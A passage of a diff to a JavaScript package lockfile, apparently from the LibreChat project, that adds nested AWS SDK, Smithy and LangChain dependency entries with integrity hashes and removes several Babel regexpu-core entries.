["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="], @@ -9405,12 +8851,16 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="], @@ -9427,137 +8877,21 @@ "@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="], + "@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], + "@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], - "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], - "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], - "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], - "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], - "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], + "@google/genai/google-auth-library/gaxios/rimraf/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], - "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": 